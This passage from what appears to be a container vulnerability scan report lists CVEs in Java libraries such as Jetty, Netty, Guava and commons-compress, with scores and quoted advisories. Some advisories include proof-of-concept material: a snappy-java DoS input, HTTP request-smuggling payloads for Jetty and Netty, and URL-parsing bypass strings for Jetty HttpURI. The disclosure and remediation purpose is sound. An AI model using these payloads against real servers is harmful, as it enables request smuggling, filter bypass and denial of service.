-import java.io.*; - -public class Main { - - public static void main(String[] args) throws IOException { - byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; - SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); - byte[] out = new byte[50]; - try { - in.read(out); - } - catch (Exception ignored) { - } - } -} -``` - -### Impact -Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. - -### Credits -Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. - -We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
-medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
- -medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. - -So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. - -
-
- -low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
- -
Description -
- -If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. - -```java -if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) -execCmd = "\"" + execCmd + "\""; -``` - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.96.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
- -
Description -
- -### Summary -The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors - -### Details -1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. -2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits - -### PoC - -Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder - - -Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 - -### Impact -Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
- -medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency - - - - - - - - -
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.112%
EPSS Percentile30th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
